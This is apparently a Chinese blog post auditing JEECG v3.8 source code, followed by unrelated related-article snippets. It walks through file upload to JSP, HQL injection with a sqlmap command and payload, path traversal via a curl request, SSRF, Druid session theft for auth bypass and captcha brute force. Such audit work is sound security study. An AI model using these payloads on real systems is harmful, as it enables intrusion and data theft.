JAVA代码审计-cms综合篇

前言

JEECGv3.8。下载地址:GitHub - jeecgboot/jeecg at v3.8

java代码审计第一步:查看web.xml

一个重要的servlet:DispatcherServlet,

<servlet>
		<description>spring mvc servlet</description>
		<servlet-name>springMvc</servlet-name>
		<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
		<init-param>
			<description>spring mvc 配置文件</description>
			<param-name>contextConfigLocation</param-name>
			<param-value>classpath*:spring-mvc.xml</param-value>
		</init-param>
		<load-on-startup>1</load-on-startup>
</servlet>
	
<servlet-mapping>
   <servlet-name>springMvc</servlet-name>
   <url-pattern>*.do</url-pattern>
</servlet-mapping>
<servlet-mapping>
		<servlet-name>springMvc</servlet-name>
		<url-pattern>/rest/*</url-pattern>
</servlet-mapping>

        匹配规则: *.do或者/rest/* 引用的DispatcherServlet类调用controller处理,在Spring MVC中,访问Controller时使用后缀".do"的做法是一种传统的URL映射方式,通常称为后缀模式(suffix pattern)。使用.do后缀可以帮助区分请求是由Spring MVC处理的,而不是其他框架或者静态资源。这样可以提高代码的可维护性和灵活性,也能更好地组织和管理项目中的请求。此外,使用.do后缀还可以与其他技术栈进行集成和区分。例如,如果项目同时使用了Struts框架,可以将Spring MVC的请求配置为以.do后缀结尾,而将Struts的请求配置为以.action后缀结尾,这样就可以让两个框架共存,各自处理自己的请求。

文件上传漏洞

 定位到“org.jeecgframework.web.cgform.controller.upload.CgUploadController”类的“ajaxSaveFile”方法

@Controller
@RequestMapping("/cgUploadController")
public class CgUploadController extends BaseController {
...
@RequestMapping(params = "ajaxSaveFile")
@ResponseBody
public AjaxJson ajaxSaveFile(MultipartHttpServletRequest request) {
   AjaxJson ajaxJson = new AjaxJson();
   Map<String, Object> attributes = new HashMap<String, Object>();
   try {
      Map<String, MultipartFile> fileMap = request.getFileMap();
      String uploadbasepath = ResourceUtil.getConfigByName("uploadpath");
      // 文件数据库保存路径
      String path = uploadbasepath + "/";// 文件保存在硬盘的相对路径
      String realPath = request.getSession().getServletContext().getRealPath("/") + "/" + path;// 文件的硬盘真实路径
      realPath += DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
      path += DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
      File file = new File(realPath);
      if (!file.exists()) {
         file.mkdirs();// 创建文件时间子目录
      }
      if(fileMap != null && !fileMap.isEmpty()){
         for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {
            MultipartFile mf = entity.getValue();// 获取上传文件对象
            String fileName = mf.getOriginalFilename();// 获取文件名
            String swfName = PinyinUtil.getPinYinHeadChar(oConvertUtils.replaceBlank(FileUtils.getFilePrefix(fileName)));// 取文件名首字母作为SWF文件名
            String extend = FileUtils.getExtend(fileName);// 获取文件扩展名
            String noextfilename=DateUtils.getDataString(DateUtils.yyyymmddhhmmss)+StringUtil.random(8);//自定义文件名称
            String myfilename=noextfilename+"."+extend;//自定义文件名称
            String savePath = realPath + myfilename;// 文件保存全路径
            write2Disk(mf, extend, savePath);
            TSAttachment attachment = new TSAttachment();
            attachment.setId(UUID.randomUUID().toString().replace("-", ""));
            attachment.setAttachmenttitle(fileName.substring(0,fileName.lastIndexOf(".")));
            attachment.setCreatedate(new Timestamp(new Date().getTime()));
            attachment.setExtend(extend);
            attachment.setRealpath(path + myfilename);

            String globalSwfTransformFlag = ResourceUtil.getConfigByName("swf.transform.flag");
            if("true".equals(globalSwfTransformFlag) && !FileUtils.isPicture(extend)){
               attachment.setSwfpath( path + FileUtils.getFilePrefix(myfilename) + ".swf");
               SwfToolsUtil.convert2SWF(savePath);
            }

            systemService.save(attachment);
            attributes.put("url", path + myfilename);
            attributes.put("name", fileName);
            attributes.put("swfpath", attachment.getSwfpath());
            attributes.put("fileid", attachment.getId());

         }
      }
      ajaxJson.setAttributes(attributes);
   } catch (Exception e) {
      e.printStackTrace();
      ajaxJson.setSuccess(false);
      ajaxJson.setMsg(e.getMessage());
   }
   return ajaxJson;
}

 重点在于

String extend = FileUtils.getExtend(fileName);// 获取文件扩展名

String myfilename=noextfilename+"."+extend;//自定义文件名称

write2Disk(mf, extend, savePath);

其中mf可控,extend可控,savePath后缀名可控

跟进去 write2Disk(mf, extend, savePath);

private void write2Disk(MultipartFile mf, String extend, String savePath)
      throws IOException, UnsupportedEncodingException, FileNotFoundException {
   File savefile = new File(savePath);
   if("txt".equals(extend)){
      //利用utf-8字符集的固定首行隐藏编码原理
      //Unicode:FF FE   UTF-8:EF BB   
      byte[] allbytes = mf.getBytes();
      try{
         String head1 = toHexString(allbytes[0]);
         String head2 = toHexString(allbytes[1]);
         if("ef".equals(head1) && "bb".equals(head2)){
            //UTF-8
            String contents = new String(mf.getBytes(),"UTF-8");
            if(StringUtils.isNotBlank(contents)){
               OutputStream out = new FileOutputStream(savePath);
               out.write(contents.getBytes());
               out.close();
            }
         }  else {
            //GBK
            String contents = new String(mf.getBytes(),"GBK");
            OutputStream out = new FileOutputStream(savePath);
            out.write(contents.getBytes());
            out.close();
         }
        } catch(Exception e){
           String contents = new String(mf.getBytes(),"UTF-8");
            if(StringUtils.isNotBlank(contents)){
               OutputStream out = new FileOutputStream(savePath);
               out.write(contents.getBytes());
               out.close();
            }
      }
   } else {
      FileCopyUtils.copy(mf.getBytes(), savefile);
   }
}

首先exten的不会是txt故不进入相关语句,而是直接进入 FileCopyUtils.copy(mf.getBytes(), savefile);

漏洞利用:先根据注解,构造路径“/cgUploadController.do?ajaxSaveFile”,然后根据“ajaxSaveFile“方法构造数据包。

发送请求包 

 访问回显的上传后的地址

 现在将问extend改成jsp

sql注入

在“com.jeecg.demo.controller. JeecgFormDemoController类“中的“getAutocompleteData”方法,可以看到SQL语句时拼接而成的,而且也没有对“searchVal”参数进行过滤,造成SQL注入漏洞。

@RequestMapping(params = "getAutocompleteData",method ={RequestMethod.GET, RequestMethod.POST})
public void getAutocompleteData(HttpServletRequest request, HttpServletResponse response) {
   String searchVal = request.getParameter("q");
   String hql = "from TSUser where userName like '%"+searchVal+"%'";
   List autoList = systemService.findHql(hql);
   ........

漏洞利用

sqlmap跑一下(注中like型注入)

python sqlmap.py -u "http://10.34.25.234:8081/jeecgFormDemoController.do?getAutocompleteData&q=1" --cookie="Hm_lvt_098e6e84ab585bf0c2e6853604192b8b=1698498973,1698843635,1698848203,1698849657; i18n_browser_Lang=zh-cn; JEECGINDEXSTYLE=fineui; ZINDEXNUMBER=1990; JSESSIONID=F6648E2CD353B8129604C8477D1549CA; Hm_lpvt_098e6e84ab585bf0c2e6853604192b8b=1698849665" --level=2 --risk=2

 q=1%' AND 4758=4758 AND 'nLxc%'='nLxc 【暂未想到更多利用方式】

任意文件读取

在“com.jeecg.demo.controller. JeecgFormDemoController”类下,“getImgByurl”方法。

@RequestMapping("/filedown")
public void getImgByurl(HttpServletResponse response,HttpServletRequest request) throws Exception{
   String dbpath = request.getParameter("filepath");
   if(oConvertUtils.isNotEmpty(dbpath)&&dbpath.endsWith(",")){
      dbpath = dbpath.substring(0, dbpath.length()-1);
   }
   response.setContentType("application/x-msdownload;charset=utf-8");
   String fileType = dbpath.substring(dbpath.lastIndexOf("."));
   String fileName=request.getParameter("filename")+fileType;
   String userAgent = request.getHeader("user-agent").toLowerCase();
   if (userAgent.contains("msie") || userAgent.contains("like gecko") ) {
      fileName = URLEncoder.encode(fileName, "UTF-8");
   }else {  
      fileName = new String(fileName.getBytes("UTF-8"), "iso-8859-1");  
   } 
   response.setHeader("Content-disposition", "attachment; filename="+ fileName);

   InputStream inputStream = null;
   OutputStream outputStream=null;
   try {
      String localPath=ResourceUtil.getConfigByName("webUploadpath");
      String imgurl = localPath+"/"+dbpath;
      inputStream = new BufferedInputStream(new FileInputStream(imgurl));
      outputStream = response.getOutputStream();
      byte[] buf = new byte[1024];
        int len;
        while ((len = inputStream.read(buf)) > 0) {
            outputStream.write(buf, 0, len);
        }
        response.flushBuffer();
   } catch (Exception e) {
      logger.info("--通过流的方式获取文件异常--"+e.getMessage());
   }finally{
      if(inputStream!=null){
         inputStream.close();
      }
      if(outputStream!=null){
         outputStream.close();
      }
   }
}

关键代码在于

String dbpath = request.getParameter("filepath"); String imgurl = localPath+"/"+dbpath; inputStream = new BufferedInputStream(new FileInputStream(imgurl));

路径是拼接的方式

漏洞利用方式

curl -i http://127.0.0.1:8081/jeecgFormDemoController/filedown.do?filepath=../../../test/user.txt -H "Cookie: JSESSIONID=942EC68A6CD4D7188A7E0E30737D7347; Hm_lvt_098e6e84ab585bf0c2e6853604192b8b=1698886034; i18n_browser_Lang=zh-cn; JEECGINDEXSTYLE=fineui; ZINDEXNUMBER=1990; Hm_lpvt_098e6e84ab585bf0c2e6853604192b8b=1698886042"

SSRF漏洞

在“com.jeecg.demo.controller. JeecgFormDemoController”类下,“testInterface”方法。

@RequestMapping(params = "interfaceTest")
@ResponseBody
public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) {
       AjaxJson j=new AjaxJson();
    try {
       String serverUrl = request.getParameter("serverUrl");//请求的地址
       String requestBody = request.getParameter("requestBody");//请求的参数
       String requestMethod = request.getParameter("requestMethod");//请求的方式
          if(requestMethod.equals("POST")){
             if(requestBody !=""){
                logger.info("----请求接口开始-----");
                JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);
                logger.info("----请求接口结束-----"+sendPost);
                j.setSuccess(true);
                j.setObj(sendPost.toJSONString());
             }else{
                j.setSuccess(false);
                j.setObj("请填写请求参数");
             }
             
          }
          if(requestMethod.equals("GET")){
              logger.info("----请求接口开始-----");
              JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);
              logger.info("----请求接口结束-----"+sendGet.toJSONString());
              j.setSuccess(true);
              j.setObj(sendGet);
          }
   } catch (Exception e) {
      j.setSuccess(false);
      j.setObj("服务器请求失败");
      e.printStackTrace();
   }
   return j;
}
绕过访问控制漏洞

有接口

<servlet>
   <servlet-name>druidStatView</servlet-name>
   <servlet-class>com.alibaba.druid.support.http.StatViewServlet</servlet-class>
</servlet>
<servlet-mapping>
   <servlet-name>druidStatView</servlet-name>
   <url-pattern>/webpage/system/druid/*</url-pattern>
</servlet-mapping>

访问接口

可以访问到用户的sessionid,可以把这个信息添加到我们的cookie中, 以下漏洞接口是需要登录后才能访问的。但现在我们增加了cookie的sess字段,故可以访问。

验证码暴力

对登录表单的验证码进行暴破

 如果短信验证码的逻辑也是这样,那是不是我们就可以用短信验证码登录或修改任意用户。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/114431.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MySQL缩短查询时间小技巧

背景 今天我要统计数据表的最新更新时间&#xff0c;有些表数据量特别大&#xff0c;所以统计比较费时间&#xff0c;但是如果使用一下小技巧&#xff0c;就会极大加快查询时间&#xff0c;适合小白的调优手段。 查询更新时间 select max(update_time) from test大概表的行数…

2024上海国际人工智能展(CSITF)“创新驱动发展·科技引领未来”

人工智能&#xff08;Artificial Intelligence&#xff0c;AI&#xff09;作为当今世界科技发展的关键领域之一&#xff0c;正不断推动着各行各业的创新和变革。作为世界上最大的消费市场之一&#xff0c;中国正在积极努力将AI技术与产业融合并加速推广应用。在这个背景下&…

一次cs上线服务器的练习

环境&#xff1a;利用vm搭建的环境 仅主机为65段 测试是否能与win10ping通 配置转发 配置好iis Kali访问测试 现在就用burp抓取winser的包 开启代理 使用默认的8080抓取成功 上线

html获取网络数据,列表展示 第二种

html获取网络数据&#xff0c;列表展示 第二种 js遍历json数组中的json对象 image.png || - 判断数据是否为空&#xff0c;为空就显示 - <!DOCTYPE html> <html><head><meta charset"utf-8"><title>网页列表</title><script …

管理类联考——数学——汇总篇——知识点突破——代数——函数、方程——记忆

文章目录 考点记忆/考点汇总——按大纲 整体局部 本篇思路&#xff1a;根据各方的资料&#xff0c;比如名师的资料&#xff0c;按大纲或者其他方式&#xff0c;收集/汇总考点&#xff0c;即需记忆点&#xff0c;在通过整体的记忆法&#xff0c;比如整体信息很多&#xff0c;通常…

飞致云及其旗下1Panel项目进入2023年第三季度最具成长性开源初创榜单

2023年10月26日&#xff0c;知名风险投资机构Runa Capital发布2023年第三季度ROSS指数&#xff08;Runa Open Source Startup Index&#xff09;。ROSS指数按季度汇总并公布在代码托管平台GitHub上年化增长率&#xff08;AGR&#xff09;排名前二十位的开源初创公司和开源项目。…

ThingsBoard的通知

1、概述 ThingsBoard 通知中心允许您向最终用户发送通知。既可以通过手动触发通知,也可以通过事件触发规则链来发送通知。 在此页面上,可以看到发送通知的按钮和五个选项卡:“收件箱”、“已发送”、“收件人”、“模板”和“规则”。 2、通知的方式 thingsboard的通知中…

基于OpenHarmony的启航开发板的基础操作

文章目录 前言一、前提准备二、基础操作1.hb set命令的使用2.hb build -f 命令的使用3.Hello World 案例 前言 在物联网&#xff08;IoT&#xff09;领域&#xff0c;开发板扮演着至关重要的角色&#xff0c;为开发人员提供了实验和原型设计的平台。而OpenHarmony作为一个开源…

C语言调试技巧(debug)及程序运行时出现的问题

目录 一、什么是调试 1.介绍调试 2.Debug与Release 3.Debug与Release的对比 二、怎么调试 1.介绍几个调试快捷键 2.调试的时候查看程序当前信息 三、常见编程错误 1.编译型错误&#xff08;最简单&#xff09; 2.链接型错误 3.运行时错误&#xff08;最难&#xff0…

数据库-引擎

存储引擎&#xff1a; mysql当中数据用各中不同的技术存储在文件中&#xff0c;每一种技术都使用的是不同的存储机制&#xff0c;索引技巧 索引水平&#xff0c;以及最终提供的不同功能和能力&#xff0c;这些就是我们说的引擎。 功能&#xff1a; mysql将数据存储在文件系统…

使用pytorch处理自己的数据集

目录 1 返回本地文件中的数据集 2 根据当前已有的数据集创建每一个样本数据对应的标签 3 tensorboard的使用 4 transforms处理数据 tranfroms.Totensor的使用 transforms.Normalize的使用 transforms.Resize的使用 transforms.Compose使用 5 dataset_transforms使用 1 返回本地…

五年制专转本的备考是多方面的较量

转本复习已进入下半场&#xff0c;同学们不能再慢悠悠地看书了&#xff01;接下来就是很多人备考的发力期&#xff0c;能否弯道超车就要看个人的把握。 1、自控与时间管理 转本考的知识就是那么多&#xff0c;只需要你高效地投入一定的时间和精力就能够掌握。问题是一些同学做…

【3D 图像分割】基于 Pytorch 的 VNet 3D 图像分割7(数据预处理)

在上一节&#xff1a;【3D 图像分割】基于 Pytorch 的 VNet 3D 图像分割6&#xff08;数据预处理&#xff09; 中&#xff0c;我们已经得到了与mhd图像同seriesUID名称的mask nrrd数据文件了&#xff0c;可以说是一一对应了。 并且&#xff0c;mask的文件&#xff0c;还根据结…

【算法|滑动窗口No.3】leetcode3. 无重复字符的最长子串

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【手撕算法系列专栏】【LeetCode】 &#x1f354;本专栏旨在提高自己算法能力的同时&#xff0c;记录一下自己的学习过程&#xff0c;希望…

课题学习(十)----阅读《基于数据融合的近钻头井眼轨迹参数动态测量方法》论文笔记

一、 引言 该论文针对三轴加速度计、磁通门和速率陀螺随钻测量系统&#xff0c;建立了基于四元数井眼轨迹参数测量模型&#xff0c;并依据状态方程和量测方程&#xff0c;应用2个扩卡尔曼滤波器、1个无迹卡尔曼滤波器和磁干扰校正系统对加速度计、磁通门信号进行滤波、校正&…

【从瀑布模式到水母模式:ChatGPT如何赋能软件研发全流程】

你是否曾读过一本让你欲罢不能的计算机书籍&#xff1f;它可能为你打开了新的技术世界大门&#xff0c;或者是帮助你解决了棘手的编程难题。 前言&#xff1a; 计算机技术的发展和互联网的普及&#xff0c;使信息处理和传输变得更加高效&#xff0c;极大地改变了金融、商业、…

超低价:阿里云双11服务器优惠价格表_87元一年起

2023阿里云双十一优惠活动已经开启了&#xff0c;轻量2核2G服务器3M带宽优惠价87元一年、2核4G4M带宽优惠价165元一年&#xff0c;云服务器ECS经济型e实例2核2G3M固定带宽优惠价格99元一年&#xff0c;还有2核4G、2核8G、4核8G、4核16G、8核32G等配置报价&#xff0c;云服务器e…

解决爬虫在重定向(Redirect)情况下,URL没有变化的方法

重定向是一种网络服务&#xff0c;它可以实现从一个网页跳转到另一个网页的功能。它把用户请求的网页重定向到一个新的位置&#xff0c;而这个位置可以是更新的网页&#xff0c;或最初请求的网页的不同版本。另外&#xff0c;它还可以用来改变用户流量&#xff0c;当用户请求某…

React基础源码解析

前言&#xff1a; 前端魔术师卡颂的react学习视频&#xff08;1 搭建项目架构_哔哩哔哩_bilibili&#xff09;中提到了Rodrigo Pombo的一篇react源码教程&#xff1a;Build your own React 本文档分组旨在翻译和记录这篇文章的学习心得&#xff0c;作为react源码学习入门。 …